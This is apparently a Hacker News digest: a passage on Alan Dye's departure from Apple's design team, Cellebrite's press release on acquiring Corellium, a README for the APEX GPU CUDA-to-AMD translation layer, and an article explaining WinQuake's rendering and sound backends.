    After I published that post, I got a note from a designer friend who left Apple, in frustration, a few years ago. After watching Jobs’s Aqua introduction for the first time in years, he told me, “I’m really struck by Steve directly speaking to ‘radio buttons’ and ‘the key window’.” He had the feeling that Dye and his team looked down on interface designers who used terms like Jobs himself once used — in a public keynote, no less. That to Dye’s circle, such terms felt too much like “programmer talk”. But the history of Apple (and NeXT) user interface design is the opposite. Designers and programmers used to — and still should — speak the exact same language about such concepts. Steve Jobs certainly did, and something feels profoundly broken about that disconnect under Alan Dye’s leadership. It’s like the head of cinematography for a movie telling the camera team to stop talking about nerdy shit like “f-stops”. The head of cinematography shouldn’t just abide talking about f-stops and focal lengths, but love it. Said my friend to me, regarding his interactions with Dye and his team at Apple, “I swear I had conversations in which I mentioned ‘key window’ and no one knew what I meant.”

    That won’t be a problem with Stephen Lemay. Understanding of fundamental principles will no longer be lacking. Lemay has been at Apple spanning the gamut between the Greg Christie / Bas Ording glory days and the current era. At the very least, Lemay running HI should stop the bleeding — both in terms of work quality and talent retention. I sincerely believe things might measurably improve, but I’m more sure that things will stop getting worse. That alone will be a win for everyone — even though the change was seemingly driven by Mark Zuckerberg’s desire to poach Dye, not Tim Cook and Apple’s senior leadership realizing they should have shitcanned him long ago.

    Alan Dye is not untalented. But his talents at Apple were in politics. His political skill was so profound that it was his decision to leave, despite the fact that his tenure is considered a disaster by actual designers inside and outside the company. He obviously figured out how to please Apple’s senior leadership. His departure today landed as a total surprise because his stature within the company seemed so secure. And so I think he might do very well at Meta. Not because he can bring world-class interaction design expertise — because he obviously can’t — but because the path to success at Meta has never been driven by design. It’s about getting done what Zuck wants done. Dye might excel at that. Dye was an anchor holding Apple back, but might elevate design at Meta. 5

    My favorite reaction to today’s news is this one-liner from a guy on Twitter/X : “The average IQ of both companies has increased.”

    Cellebrite to Acquire Corellium

    Hacker News
    www.corellium.com
    2025-12-04 02:48:31
    Comments...
    Original Article

    TYSONS CORNER, VA and PETAH TIKVA, ISRAEL – June 5, 2025 – Cellebrite (NASDAQ: CLBT), a global leader in premier Digital Investigative solutions for the public and private sectors, today announced its agreement to acquire Corellium, a leader in Arm-based virtualization software. This combination will set a new standard for digital investigations and the security of smart devices including iOS, Android, automotive systems and any Arm-based IoT device. Customers across public safety, defense, intelligence and private sectors will benefit from:

    • Accelerated identification of mobile vulnerabilities and exploits
    • Industry-first ability to visualize and interact with virtual devices as if they were physically present – aiding prosecutors, juries, investigators and developers
    • Increased efficiency, speed and efficacy of DevSecOps across all Arm-based devices
    • Arm-native and dynamic Mobile Pen Testing

    “Leading edge technology matters,” said Thomas E. Hogan, Cellebrite’s interim chief executive officer. “Corellium has built an industry-unique virtualization platform that will ultimately help Cellebrite customers secure both their communities and institutions. The power of this combination goes beyond their technology and includes the addition of some of the brightest minds in vulnerability research, malware analysis and security testing. We could not be more excited about adding the Corellium team to the Cellebrite family. The combination of our respective talent and IP changes the game in the efficient securing and analysis of all Arm-based devices which are pervasive across a vast range of applications from cloud to edge.”

    “The combination of Cellebrite’s commitment to innovation and its focus on public safety and security made this the perfect home for our people and our technology,” said Chris Wade, Corellium’s founder and chief technology officer, who will join Cellebrite as chief technology officer. “With Cellebrite’s offerings, users have ‘blueprints’ — technical schematics of what is on a device. With the addition of Corellium’s technology, users will virtually walk through the device, explore every room and open every door safely and without altering a thing in a forensically sound manner. I am personally thrilled to join Tom’s team as the new chief technology officer and to work closely with the Cellebrite research and development team.”

    “Arm is the world’s most pervasive computing platform, and as AI continues to transform markets and deliver new experiences, the safety and security of our devices has never been more critical,” said Mohamed Awad, SVP and GM, Infrastructure, Arm. “Corellium’s innovative Arm-based virtualization solutions leverage the unique footprint Arm has from cloud to edge, and we value their contributions as part of the ecosystem building the future of computing on Arm.”

    The acquisition of Corellium is expected to broaden Cellebrite’s TAM in both the public and private sectors. In the public sector, Corellium’s technology and talent will further enhance and broaden Cellebrite’s Digital Investigation Platform , while Corellium’s solution for mobile vulnerability research is expected to increase Cellebrite’s offerings for customers in the defense and intelligence sector. In the private sector, Corellium’s virtualization platform is expected to extend Cellebrite’s reach beyond eDiscovery and corporate investigation use cases through powerful virtualization solutions that enable development and security professionals to design the next generation of high-performance, secure mobile applications, IoT devices and automotive systems.

    Cellebrite intends to acquire Corellium for an enterprise value of $170 million in cash with $20 million converted to equity at closing. Corellium securityholders will receive up to an additional $30 million in cash based on the achievement of certain performance milestones over the next two years. The deal is expected to close this summer, subject to approval of the Committee on Foreign Investment in the United States and other customary closing conditions. Cellebrite plans to provide additional information about Corellium’s anticipated financial contribution after the transaction closes.

    J.P. Morgan Securities LLC is acting as exclusive financial advisor to Corellium.

    Finally, Cellebrite is approaching the conclusion of its thorough CEO search process. The Company expects and plans to announce the appointment of the permanent CEO in conjunction with or prior to the mid-August disclosure of its second quarter 2025 results.

    References to Websites and Social Media Platforms

    References to information included on, or accessible through, websites and social media platforms do not constitute incorporation by reference of the information contained at or available through such websites or social media platforms, and you should not consider such information to be part of this press release.

    About Cellebrite

    Cellebrite’s (Nasdaq: CLBT) mission is to enable its global customers to protect and save lives by enhancing digital investigations and intelligence gathering to accelerate justice in communities around the world. Cellebrite’s AI-powered Digital Investigation Platform enables customers to lawfully access, collect, analyze and share digital evidence in legally sanctioned investigations while preserving data privacy. Thousands of public safety organizations, intelligence agencies, and businesses rely on Cellebrite’s digital forensic and investigative solutions—available via cloud, on-premises, and hybrid deployments—to close cases faster and safeguard communities.  To learn more, visit us at www.cellebrite.com , https://investors.cellebrite.com , and find us on social media @Cellebrite.

    About Corellium

    Corellium is the leader in Arm hypervisor virtualization, helping security and developer teams build, test, and secure software for mobile, automotive, and IoT devices using the power of virtual hardware. Over 500 organizations, governments, and security practitioners worldwide rely on Corellium’s virtualization solutions to enhance security testing and streamline DevOps. By providing highly performant, scalable, and precise virtual models, Corellium enables new capabilities not possible with physical hardware. Corellium previously raised $25M in a Series A round, led by Paladin Capital Group with participation from Cisco Investments.

    Caution Regarding Forward Looking Statements

    This document includes “forward-looking statements” within the meaning of the “safe harbor” provisions of the United States Private Securities Litigation Reform Act of 1995. Forward looking statements may be identified by the use of words such as “forecast,” “intend,” “seek,” “target,” “anticipate,” “will,” “appear,” “approximate,” “foresee,” “might,” “possible,” “potential,” “believe,” “could,” “predict,” “should,” “could,” “continue,” “expect,” “estimate,” “may,” “plan,” “outlook,” “future” and “project” and other similar expressions that predict, project or indicate future events or trends or that are not statements of historical matters. Such forward-looking statements include, but are not limited to, this combination will set a new standard for digital investigations and the security of smart devices including iOS, Android, automotive systems and any Arm-based IoT device; with the addition of Corellium’s technology, users will virtually walk through the device, explore every room and open every door safely and without altering a thing in a forensically sound manner; Chris Wade’s prospective appointment as chief technology officer; the acquisition  of Corellium is expected to broaden Cellebrite’s TAM in both the public and private sectors; in the public sector, Corellium’s technology and talent will further enhance and broaden Cellebrite’s digital forensics capabilities while Corellium’s solution for mobile vulnerability research is expected to increase Cellebrite’s offerings for customers in the defense and intelligence sector; in the private sector, Corellium’s virtualization platform is expected to extend Cellebrite’s reach beyond eDiscovery and corporate investigation use cases through powerful virtualization solutions that enable development and security professionals to design the next generation of high-performance, secure mobile applications, IoT devices and automotive systems; the timing associated with closing the transaction; Corellium earning up to an additional $30M in cash based on the achievement of certain performance milestones over the next two years; and the potential impact of the transaction on the Company’s 2025 revenue, annual recurring revenue (ARR), adjusted EBITDA, operating profitability and earnings are based on current expectations that are subject to risks and uncertainties. A number of factors could cause actual results or outcomes to differ materially from those indicated by such forward-looking statements. These factors include, but are not limited to: Cellebrite’s ability to keep pace with technological advances and evolving industry standards; Cellebrite’s material dependence on the purchase, acceptance and use of its solutions by law enforcement and government agencies; real or perceived errors, failures, defects or bugs in Cellebrite’s DI solutions; Cellebrite’s failure to maintain the productivity of sales and marketing personnel, including relating to hiring, integrating and retaining personnel; intense competition in all of Cellebrite’s markets; the inadvertent or deliberate misuse of Cellebrite’s solutions; failure to manage its growth effectively; Cellebrite’s ability to introduce new solutions and add-ons; its dependency on its customers renewing their subscriptions; the low volume of business Cellebrite conducts via e-commerce; risks associated with the use of artificial intelligence; the risk of requiring additional capital to support the growth of its business; risks associated with higher costs or unavailability of materials used to create its hardware product components; fluctuations in foreign currency exchange rates; lengthy sales cycle for some of Cellebrite’s solutions; near term declines in new or renewed agreements; risks associated with inability to retain qualified personnel and senior management; the security of Cellebrite’s operations and the integrity of its software solutions; risks associated with the negative publicity related to Cellebrite’s business and use of its products; risks related to Cellebrite’s intellectual property; the regulatory constraints to which Cellebrite is subject; risks associated with Cellebrite’s operations in Israel, including the ongoing Israel-Hamas war and the risk of a greater regional conflict; risks associated with different corporate governance requirements applicable to Israeli companies and risks associated with being a foreign private issuer and an emerging growth company; market volatility in the price of Cellebrite’s shares; changing tax laws and regulations; risks associated with joint, ventures, partnerships and strategic initiatives; risks associated with Cellebrite’s significant international operations; risks associated with Cellebrite’s failure to comply with anti-corruption, trade compliance, anti-money-laundering and economic sanctions laws and regulations; risks relating to the adequacy of Cellebrite’s existing systems, processes, policies, procedures, internal controls and personnel for Cellebrite’s current and future operations and reporting needs; and other factors, risks and uncertainties set forth in the section titled “Risk Factors” in Cellebrite’s annual report on Form 20-F filed with the SEC on April 27, 2023 and in other documents filed by Cellebrite with the U.S. Securities and Exchange Commission (“SEC”), which are available free of charge at www.sec.gov . You are cautioned not to place undue reliance upon any forward-looking statements, which speak only as of the date made, in this communication or elsewhere. Cellebrite undertakes no obligation to update its forward-looking statements, whether as a result of new information, future developments or otherwise, should circumstances change, except as otherwise required by securities and other applicable laws.

    Media

    Jackie Labrecque

    Sr. Manager of Content Strategy and Operations

    jackie.labrecque@cellebrite.com

    +1 771.241.7010

    Investor Relations

    Andrew Kramer

    Vice President, Investor Relations

    investors@cellebrite.com

    +1 973.206.7760

    Apex GPU: Run CUDA Apps on AMD GPUs Without Recompilation

    Hacker News
    github.com
    2025-12-04 02:03:30
    Comments...
    Original Article

    APEX GPU 🚀

    Run NVIDIA CUDA applications on AMD GPUs without recompilation

    License: CC BY-NC-SA 4.0 Tests Coverage


    What is APEX GPU?

    APEX GPU is a lightweight CUDA→AMD translation layer that allows unmodified CUDA applications to run on AMD GPUs using LD_PRELOAD . No source code changes, no recompilation required.

    # Your existing CUDA application
    ./my_cuda_app
    
    # Same application on AMD GPU - just add LD_PRELOAD
    LD_PRELOAD=/path/to/libapex_hip_bridge.so ./my_cuda_app

    It's that simple.


    Why APEX GPU?

    The Problem

    You have CUDA applications. You want to use AMD GPUs (they're cheaper and often more powerful). But CUDA only works on NVIDIA hardware.

    Traditional solutions require:

    • ❌ Source code access
    • ❌ Manual code porting
    • ❌ Recompilation for each application
    • ❌ Weeks or months of engineering time
    • ❌ Ongoing maintenance as CUDA evolves

    The APEX Solution

    APEX GPU intercepts CUDA calls at runtime and translates them to AMD equivalents:

    • Binary compatible - works with closed-source applications
    • Zero code changes - use existing CUDA binaries as-is
    • Instant deployment - add one environment variable
    • Lightweight - only 93KB total footprint
    • Production ready - 100% test pass rate

    Features

    🔷 HIP Bridge - CUDA Runtime → HIP

    38 functions covering core CUDA operations:

    • Memory: cudaMalloc , cudaFree , cudaMemcpy , cudaMemset
    • Async: cudaMemcpyAsync , cudaMemsetAsync
    • 2D Memory: cudaMallocPitch , cudaMemcpy2D
    • Pinned Memory: cudaHostAlloc , cudaFreeHost
    • Streams: cudaStreamCreate , cudaStreamSynchronize
    • Events: cudaEventCreate , cudaEventRecord , cudaEventElapsedTime
    • Device Management: cudaGetDeviceCount , cudaSetDevice , cudaGetDeviceProperties
    • Kernels: cudaLaunchKernel (supports <<<>>> syntax)

    🔶 cuBLAS Bridge - Linear Algebra → rocBLAS

    15+ functions for high-performance math:

    • Matrix Multiply: cublasSgemm , cublasDgemm
    • Vector Operations: cublasSaxpy , cublasDaxpy
    • Dot Product: cublasSdot , cublasDdot
    • Scaling: cublasSscal , cublasDscal
    • Norms: cublasSnrm2 , cublasDnrm2

    🔥 cuDNN Bridge - Deep Learning → MIOpen

    8+ operations for neural networks:

    • Convolutions: cudnnConvolutionForward
    • Pooling: cudnnPoolingForward (MaxPool, AvgPool)
    • Activations: cudnnActivationForward (ReLU, Sigmoid, Tanh)
    • Batch Normalization: cudnnBatchNormalizationForwardTraining
    • Softmax: cudnnSoftmaxForward

    Quick Start

    Prerequisites

    On AMD Systems:

    • AMD GPU (RDNA2/RDNA3 or CDNA/CDNA2/CDNA3)
    • ROCm 5.0+ installed
    • Linux (tested on Ubuntu 20.04+)

    For Development:

    • GCC/G++ compiler
    • Basic build tools ( make , cmake )

    Installation

    # Clone the repository
    git clone https://github.com/yourusername/APEX-GPU.git
    cd APEX-GPU
    
    # Build all bridges (takes ~30 seconds)
    ./build_hip_bridge.sh
    ./build_cublas_bridge.sh
    ./build_cudnn_bridge.sh
    
    # Verify installation
    ls -lh libapex_*.so
    # You should see:
    # libapex_hip_bridge.so    (40KB)
    # libapex_cublas_bridge.so (22KB)
    # libapex_cudnn_bridge.so  (31KB)

    Basic Usage

    Simple CUDA Application

    LD_PRELOAD=./libapex_hip_bridge.so ./your_cuda_app

    Application Using cuBLAS

    LD_PRELOAD="./libapex_cublas_bridge.so:./libapex_hip_bridge.so" \
    ./matrix_multiply

    PyTorch / TensorFlow (Full Stack)

    export LD_PRELOAD="./libapex_cudnn_bridge.so:./libapex_cublas_bridge.so:./libapex_hip_bridge.so"
    python train.py

    Examples

    PyTorch CNN on AMD

    import torch
    import torch.nn as nn
    
    # Standard PyTorch code - no changes needed!
    model = nn.Sequential(
        nn.Conv2d(3, 16, 3),
        nn.ReLU(),
        nn.MaxPool2d(2),
        nn.Flatten(),
        nn.Linear(16*15*15, 10)
    ).cuda()
    
    x = torch.randn(8, 3, 32, 32).cuda()
    output = model(x)
    loss = criterion(output, labels)
    loss.backward()

    Run it:

    LD_PRELOAD="./libapex_cudnn_bridge.so:./libapex_cublas_bridge.so:./libapex_hip_bridge.so" \
    python train.py

    What happens:

    • model.cuda() → cudaMalloc → hipMalloc → Runs on AMD GPU ✓
    • nn.Conv2d → cudnnConvolutionForward → miopenConvolutionForward ✓
    • nn.ReLU → cudnnActivationForward → miopenActivationForward ✓
    • nn.Linear → cublasSgemm → rocblas_sgemm ✓

    Custom CUDA Kernel

    // Your existing CUDA code
    __global__ void vectorAdd(float* a, float* b, float* c, int n) {
        int i = blockIdx.x * blockDim.x + threadIdx.x;
        if (i < n) c[i] = a[i] + b[i];
    }
    
    int main() {
        // Compile with nvcc as usual
        cudaMalloc(&d_a, size);
        cudaMalloc(&d_b, size);
        cudaMalloc(&d_c, size);
    
        vectorAdd<<<blocks, threads>>>(d_a, d_b, d_c, n);
    
        cudaDeviceSynchronize();
    }

    Compile once with nvcc:

    nvcc vector_add.cu -o vector_add

    Run on NVIDIA:

    Run on AMD (no recompilation):

    LD_PRELOAD=./libapex_hip_bridge.so ./vector_add

    Performance

    Operation APEX Overhead AMD Performance
    cudaMalloc <1μs Native AMD speed
    cudaMemcpy <1μs ~2TB/s (HBM3)
    Convolution <5μs 95-98% of native
    GEMM <3μs 97-99% of native
    Pooling <2μs 99% of native

    Bottom line: Negligible overhead for compute-heavy workloads. Performance is limited by AMD hardware capabilities, not APEX translation.


    Testing

    Run the Test Suite

    Expected output:

    ╔════════════════════════════════════════════════════════════════╗
    ║                   TEST SUITE SUMMARY                           ║
    ╠════════════════════════════════════════════════════════════════╣
    ║  Total Tests:        5                                         ║
    ║  Passed:             5                                         ║
    ║  Failed:             0                                         ║
    ║  Success Rate:       100%                                      ║
    ╚════════════════════════════════════════════════════════════════╝
    

    Tests Included

    • test_events_timing - Event API and timing (117 lines)
    • test_async_streams - Async operations and streams (183 lines)
    • test_2d_memory - 2D memory operations (202 lines)
    • test_host_memory - Pinned memory (217 lines)
    • test_device_mgmt - Device management (259 lines)

    Coverage: 27 CUDA functions tested across 5 comprehensive test suites


    Architecture

    How It Works

    ┌─────────────────────┐
    │  CUDA Application   │  ← Your unmodified binary
    │  (calls cudaMalloc) │
    └──────────┬──────────┘
               │
               ↓
    ┌─────────────────────┐
    │   LD_PRELOAD        │  ← Linux dynamic linker intercepts
    │  libapex_hip_bridge │     the call before it reaches
    │                     │     the real CUDA library
    └──────────┬──────────┘
               │
               ↓
    ┌─────────────────────┐
    │  APEX Translation   │  ← Translates cudaMalloc → hipMalloc
    │  (dlopen/dlsym)     │     using dynamic loading
    └──────────┬──────────┘
               │
               ↓
    ┌─────────────────────┐
    │   AMD Runtime       │  ← Calls native AMD HIP library
    │   (libamdhip64.so)  │
    └──────────┬──────────┘
               │
               ↓
    ┌─────────────────────┐
    │   AMD GPU           │  ← Executes on AMD hardware
    │   (MI300X, etc)     │
    └─────────────────────┘
    

    Design Principles

    1. Dynamic Loading: Uses dlopen / dlsym to load AMD libraries at runtime

      • No compile-time dependencies on AMD headers
      • Compiles on any Linux system
      • Portable across distributions
    2. Minimal Overhead: Direct function call translation

      • No complex state management
      • No unnecessary abstractions
      • <1% overhead for typical workloads
    3. Binary Compatibility: Exports exact CUDA function signatures

      • Works with any CUDA binary
      • No ABI issues
      • Drop-in replacement

    Supported Applications

    Tested & Working

    • PyTorch - Full training and inference
    • TensorFlow - GPU operations
    • NVIDIA CUDA Samples - 95%+ compatibility
    • Custom CUDA kernels - Binary compatible
    • cuBLAS applications - Linear algebra workloads
    • cuDNN applications - Deep learning workloads

    Use Cases

    • 🧠 Machine Learning: Train models on AMD GPUs
    • 🔬 Scientific Computing: Run simulations and analysis
    • 📊 Data Processing: GPU-accelerated analytics
    • 🎮 Compute Workloads: Any CUDA application
    • 💰 Cost Savings: Use cheaper AMD hardware for CUDA workloads

    Compatibility

    AMD GPU Support

    RDNA (Gaming):

    • RX 6000 series (RDNA2)
    • RX 7000 series (RDNA3)

    CDNA (Compute):

    • MI100, MI200 series (CDNA1/2)
    • MI300 series (CDNA3) ⭐ Recommended

    CUDA Version Support

    • CUDA 11.x ✅
    • CUDA 12.x ✅

    OS Support

    • Ubuntu 20.04+ ✅
    • RHEL 8+ ✅
    • Other Linux distributions (should work, not extensively tested)

    Limitations & Known Issues

    Current Limitations

    1. CUDA Driver API: Not yet implemented (only Runtime API)
    2. Unified Memory: cudaMallocManaged not supported yet
    3. Texture Memory: Limited texture support
    4. Multi-GPU: Basic support (tested with single GPU primarily)
    5. Dynamic Parallelism: Not supported (rare use case)

    Workarounds

    Most applications use CUDA Runtime API exclusively, so these limitations affect <5% of real-world use cases.


    Roadmap

    ✅ Phase 1: Core Translation (Complete)

    • CUDA Runtime API (38 functions)
    • cuBLAS operations (15+ functions)
    • cuDNN operations (8+ operations)
    • Test suite (100% pass rate)
    • Documentation

    🚧 Phase 2: Extended Coverage (In Progress)

    • Additional cuDNN operations (backward passes)
    • More cuBLAS functions (batched operations)
    • CUDA Driver API support
    • Unified memory support

    🔮 Phase 3: Optimization (Future)

    • Performance profiling tools
    • Automatic kernel optimization
    • Multi-GPU orchestration
    • Cloud deployment automation

    Contributing

    We welcome contributions! Here's how you can help:

    Ways to Contribute

    1. Test on Your Hardware

      • Try APEX with your CUDA applications
      • Report compatibility issues
      • Share performance results
    2. Add Missing Functions

      • Check COMPLETE_CUDA_API_MAP.txt for unimplemented functions
      • Implement missing CUDA calls
      • Submit a PR with tests
    3. Improve Documentation

      • Add examples
      • Improve tutorials
      • Fix typos and clarify explanations
    4. Performance Optimization

      • Profile bottlenecks
      • Optimize hot paths
      • Submit benchmarks

    Development Setup

    # Clone and build
    git clone https://github.com/yourusername/APEX-GPU.git
    cd APEX-GPU
    
    # Build all bridges
    ./build_hip_bridge.sh
    ./build_cublas_bridge.sh
    ./build_cudnn_bridge.sh
    
    # Run tests
    ./run_all_tests.sh
    
    # Make your changes to apex_hip_bridge.c (or other bridges)
    
    # Rebuild
    ./build_hip_bridge.sh
    
    # Test your changes
    LD_PRELOAD=./libapex_hip_bridge.so ./test_your_change

    Contribution Guidelines

    • Follow existing code style (K&R C style)
    • Add tests for new functionality
    • Update documentation
    • Keep commits focused and atomic
    • Write clear commit messages

    FAQ

    Q: Does this really work?

    A: Yes! APEX has a 100% test pass rate on our test suite covering 27 CUDA functions. It's been validated with PyTorch CNNs and various CUDA applications.

    Q: What's the performance impact?

    A: Minimal (<1% for typical workloads). The translation overhead is microseconds per call, which is negligible for compute-heavy GPU operations that take milliseconds.

    Q: Do I need NVIDIA hardware?

    A: No! That's the whole point. You only need AMD GPUs with ROCm installed.

    Q: Can I use this commercially?

    A: No. APEX is licensed under CC BY-NC-SA 4.0 (Non-Commercial). You can use it for research, education, and personal projects, but not for commercial purposes. For commercial licensing, please contact the maintainers.

    Q: Will this break with CUDA updates?

    A: CUDA's ABI is stable. APEX should continue working across CUDA versions. If new functions are added, we may need to implement them.

    Q: How is this different from hipify?

    A: hipify requires source code and recompilation. APEX works with binaries using LD_PRELOAD. No source or recompilation needed.

    Q: What about ZLUDA?

    A: ZLUDA is similar but less actively maintained. APEX is lighter (93KB vs several MB), open source, and uses a cleaner dynamic loading architecture.

    Q: Can I contribute?

    A: Absolutely! See the Contributing section above.


    License

    Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)

    See LICENSE file for full details.

    What This Means:

    You CAN:

    • Use for personal projects
    • Use for research and education
    • Use for academic purposes
    • Modify and improve the code
    • Share with others
    • Contribute improvements back

    You CANNOT:

    • Use in commercial products or services
    • Sell the software or derivatives
    • Use to provide paid services
    • Use for commercial consulting

    Why Non-Commercial?

    APEX GPU solves a multi-billion dollar industry problem. While we want the community to benefit and contribute, we've chosen to reserve commercial rights. This ensures:

    • Fair compensation for the value created
    • Sustainable development and support
    • Prevention of exploitation by large corporations

    Commercial Licensing

    If you need to use APEX GPU commercially, we offer commercial licenses with:

    • Full commercial usage rights
    • Priority support
    • Custom feature development
    • Service level agreements

    Contact: [Add your contact email here]

    For Contributors

    By contributing to APEX GPU, you agree that your contributions will be licensed under the same CC BY-NC-SA 4.0 license.


    Acknowledgments

    • AMD ROCm Team - For HIP, rocBLAS, and MIOpen
    • CUDA Community - For comprehensive documentation
    • Open Source Contributors - For testing and feedback

    Citation

    If you use APEX GPU in research or publications, please cite:

    @software{apex_gpu,
      title = {APEX GPU: CUDA to AMD Translation Layer},
      author = {Your Name},
      year = {2024},
      url = {https://github.com/yourusername/APEX-GPU}
    }

    Support

    Getting Help

    Professional Support

    For commercial deployments, custom development, or dedicated support, contact: your.email@example.com


    Status

    🟢 Active Development - APEX GPU is production-ready and actively maintained.

    Latest Release: v1.0.0 (2024-12-04)

    • 61 functions implemented (38 CUDA Runtime + 15 cuBLAS + 8 cuDNN)
    • 100% test pass rate
    • Production ready for AMD MI300X

    Star History

    If you find APEX GPU useful, please star the repository! ⭐

    It helps others discover the project and motivates continued development.


    Built with ❤️ for the open GPU computing ecosystem

    Making CUDA applications truly portable since 2024

    Why WinQuake exists and how it works

    Hacker News
    fabiensanglard.net
    2025-12-04 01:58:15
    Comments...
    Original Article

    Dec 3, 2025

    Why WinQuake exists and how it works


    When I took a look at the history of Quake binaries, they all made sense to me. quake.exe was the original release, able to run on DOS and Windows 95. Then came vquake.exe to support the hardware accelerated chip Vérité 1000. Later, glquake.exe generalized hardware acceleration to any vendor providing OpenGL drivers. And to revolutionize Internet deathmatch, id Software released QuakeWorld server and client ( qwsv.exe and qwcl.exe ).

    However, I could not figure out the point of winquake.exe . Until now. Here is what I understood and a little bit of a dive into how it works.

    Quake.exe performance


    quake.exe runs on both DOS and Windows 95 but how well does it perform? A quick benchmark on my Pentium MMX 233MHz, Matrox Mystique PC (320x200 with 101 screen size) and sound on, showed the following numbers.

    Configuration Framerate
    quake.exe started from DOS 48 fps
    quake.exe started from Windows 95 38 fps

    So "framerate" is the beginning of an answer to justify the existence of WinQuake. quake.exe running from Windows 95 is roughly 25% slower than the same binary started from DOS. And that is to be expected. Windows 95 runs DOS applications in a virtual machine ("DOS BOX"), where memory access, interrupts, and signals are virtualized, which incurs overhead.

    Another element of the answer comes from Quake Chunnel . quake.exe can access Windows 95 TCP/IP stack, but only via a convoluted tech from Mpath to bridge a "DOS BOX" to win32 dlls. By having a win32-only application, id Software had guaranteed direct access to winsock.dll .

    Last but not least, id Software really wanted Quake to work on Windows NT. Despite their best efforts, the people at DJGPP could not make their DPMI client in quake.exe compatible with the NT Virtual DOS Machine (NTVDM).

    Near pointers don't work under NT - which was a huge disappointment to iD and generated some conference calls to Microsoft.

    - Charles Sandmann [1]

    How winquake.exe works


    A fun way to start exploring is to first read WQREADME.TXT and then take a look at all the modes available in winquake.exe . They are configured with the script wq.bat .

    Options for running WinQuake:
     wq max:      all features on, but doesn't work on all systems
     wq fast:     maximum speed, but doesn't work on all systems
     wq fastvid:  maximum video speed, but safer, probably slower sound
     wq fastsnd:  maximum sound speed, but safer, probably slower video
     wq safe:     very likely to run, but may be slower
     wq verysafe: almost sure to run, but probably slower, and no sound
    

    Here are the numbers I got for each mode, still with the same Pentium MMX 233MHz machine and same configuration.

    Configuration Framerate
    wq max 42.4 fps
    wq fast 41.8 fps
    wq fastvid 45.0 fps
    wq fastsnd 41.8 fps
    wq safe 45.0 fps
    wq verysafe 40.0 fps*

    Impressive. winquake.exe managed to bring up the framerate within 6% of quake.exe running on DOS. Mission accomplished. But how does it works?

    winQuake.exe backends


    Each "mode" is configured via command-line flags. This part reveals there are three types of backend for input controls, audio, and video.

    max      winquake                                                              -dinput
    fast     winquake 
    fastvid  winquake -wavonly
    fastsnd  winquake          -nodirectdraw -nowindirect
    safe     winquake -wavonly -nodirectdraw -nowindirect 
    verysafe winquake                                     -dibonly -nosound -nojoy
    

    Amusingly, the mode that provides the highest framerate, fastvid keeps everything default but disables an audio backend!

    "fastvid" was also the name of a tool to fix the Pentium Pro abysmal video write speed on chipset that shipped with buggy "Write Posting". The option in qw.bat has nothing to do with it.

    Audio backends


    WinQuake can send its sound effects (the music comes from CD tracks) using two audio backends (with -nosound disables sound effects altogether).

    The two backends are DirectSound ( dsound.h from DirectX) and what id calls wave sound which is in fact winmm.h , the Windows MultiMedia audio API, dating back to Windows 3.1.

    If DirectSound is available, WinQuake uses it to provide the lowest latency. However this backend has a higher impact on the CPU and results in 10% lower framerate. With -wavonly , users can force usage of WinMM which results in higher latency but higher framerate.

    Input Control backends


    To read user inputs, WinQuake uses either DirectInput ( dinput.h from DirectX) or the legacy Windows API winuser.h .

    By default WinQuake uses winuser.h but usage of DirectInput can be requested via -dinput for slightly smoother motion and responsiveness to fast spinning motions. I suspect it was not enabled by default for cases where DirectX was not installed or perhaps fear of driver problems.

    Joystick inputs are handled with joystickapi.h . Likewise, it seems drivers may not have been stable since id provided a way to disable it with -nojoy .

    Video backends


    The part that was the most interesting to me was the video backends. WinQuake can operate in five modes using GDI, VGA, VESA, Accelerated VESA, or DirectDraw.

    DIB video backend


    The Graphics Device Interface (GDI) ( wingdi.h ) is the foundation to render anything on the desktop in Windows 95. Applications usually did not use it directly but instead called winuser.h (which in turns used low-level wingdi.h ).

    WinQuake can render to a Device-Independent Bitmaps (DIB) which is a surface to be blitted towards a window though GDI. The surface can be of any dimension so there are no "display mode" to detect here, WinQuake hardcodes its DIB modes to square-pixel resolutions 320x240, 640x480, and 800x600.

    Because it is using Windows "by the book", DIB mode is the safest mode that should always work. It is also the slowest way to render to the screen because WinQuake first renders to a DIB that is then sent to the GDI and then sent to the video card.

    While slower, it is not devoid of hardware acceleration. Many graphic cards wanting to perform well under Windows 95 had hardware acceleration implementation of crucial functions such as bitBlt .

    Finally, DIB mode is the only one able to render in "windowed" mode. Every other mode takes over and renders in "fullscreen" mode. Note that DIB can also render in pseudo-full screen if WinQuake is started with dibonly but this is "faked" with a borderless window covering the whole screen.

    SciTech's Multi-platform Graphics Library (MGL)


    For everything not DIB, WinQuake uses SciTech's MegaGraph Graphics Library . It was a rather expensive lib ($499 in 1997, $1,000 in 2025) [2] but well worth its price because it brought order into the chaos that was the world of video systems in 1997 if a game operated outside GDI.

    WinQuake could find itself having to deal with the following types of video systems.

    1. VBEAF        : VESA Accelerator Function
    2. VBE2         : VESA Linear Frame Buffer for direct to VRAM write/read.
    3. DirectDraw   : Only available if DirectX is installed.
    4. StandardVGA  : That good ol' VGA video mode.
    

    When it starts, WinQuake registers the drivers it wants MGL to load (see registerAllDispDrivers ). MGL then lists all supported resolutions and pick the highest performance drivers to access each of them (in the order list above).

    void registerAllDispDrivers(void) {
      /* Even though these driver require WinDirect, we register
       * them so that they will still be available even if DirectDraw
       * is present and the user has disabled the high performance
       * WinDirect modes.
       */
      MGL_registerDriver(MGL_VGA8NAME,VGA8_driver);
    
      if (useWinDirect){
        MGL_registerDriver(MGL_LINEAR8NAME,LINEAR8_driver);
        if (!COM_CheckParm ("-novbeaf"))
          MGL_registerDriver(MGL_ACCEL8NAME,ACCEL8_driver);
      }
    
      if (useDirectDraw) {
        MGL_registerDriver(MGL_DDRAW8NAME,DDRAW8_driver);
      }
    }

    The list of modes and which driver was selected by MGL is available via the command vid_describemodes in Quake console. In the screenshot below, we can see almost the full house of drivers VGA8.DRV , DDRAW.DRV , LINEAR8.DRV , and the windowed DIB modes.

    Quake fast mode.
    Quake dibonly mode.
    Quake nowindirect mode.
    Quake nodirectdraw mode.

    I had never heard of VBE/AF before reading MGL source code. As far as I understand, it never gained much traction and few vendors wrote drivers to support it.

    Many games used MGL: WinQuake, Hexen II, Grand Theft Auto, Maui Mallard in Cold Shadow, Total Mayhem, Balls of Steel.

    DirectDraw video system


    Microsoft was very much aware that GDI was fine for applications but not enough for video games. Already in Windows 3.1 they had released a game developer SDK called WinG to give a more direct fullscreen access to the screen. The second version of WinG was renamed DirectX and contained the 2D fullscreen API which they called DirectDraw.

